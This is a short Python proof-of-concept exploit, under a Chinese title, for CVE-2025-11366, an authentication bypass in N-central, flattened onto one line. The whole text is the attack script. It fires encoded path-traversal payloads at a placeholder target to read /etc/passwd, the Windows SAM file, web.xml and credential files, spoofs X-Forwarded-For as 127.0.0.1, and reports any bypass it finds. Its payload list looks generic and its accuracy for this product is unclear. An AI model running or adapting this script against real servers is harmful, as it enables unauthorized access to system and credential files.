CVE-2025-11366: N-central 路径遍历导致认证绕过漏洞

import requests import urllib.parse # CVE-2025-11366 PoC - N-central Authentication Bypass via Path Traversal # Target: N-central < 2025.4 TARGET = "https://target-server:PORT" def check_vulnerability(): """Check if target is vulnerable to CVE-2025-11366""" # Path traversal payload to bypass authentication # The payload uses encoded path traversal sequences malicious_paths = [ "/..%2f..%2f..%2f..%2fetc/passwd", "/..%252f..%252f..%252f..%252fetc/passwd", "/..\..\..\..\windows\system32\config\sam", "/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" ] endpoints = [ "/api/v1/auth/login", "/api/v2/admin/dashboard", "/jsp/../servlet/administrator", "/static/..%2f..%2f..%2fprivate-data" ] for endpoint in endpoints: for path in malicious_paths: url = TARGET + endpoint + path try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200 and "root:" in response.text: print(f"[+] VULNERABLE! Found sensitive file via: {url}") return True elif response.status_code == 200: print(f"[*] Potential vulnerability at: {url}") except requests.RequestException as e: print(f"[-] Error accessing {url}: {e}") return False def exploit_auth_bypass(): """Attempt to bypass authentication and gain access""" # Authentication bypass payload bypass_payloads = [ "/api/v1/..%2f..%2fadmin/users", "/jsp/..%2f..%2fWEB-INF/web.xml", "/static/..%252f..%252fconfig/credentials" ] for payload in bypass_payloads: url = TARGET + payload headers = { "User-Agent": "Mozilla/5.0", "X-Forwarded-For": "127.0.0.1" } try: response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: print(f"[+] Authentication bypass successful: {url}") print(f"[+] Response length: {len(response.text)} bytes") return response.text except requests.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("CVE-2025-11366 - N-central Authentication Bypass PoC") print("=" * 60) if check_vulnerability(): print("\n[!] Target is VULNERABLE to CVE-2025-11366") print("[*] Attempting exploitation...") exploit_auth_bypass() else: print("\n[*] Target may not be vulnerable or is patched")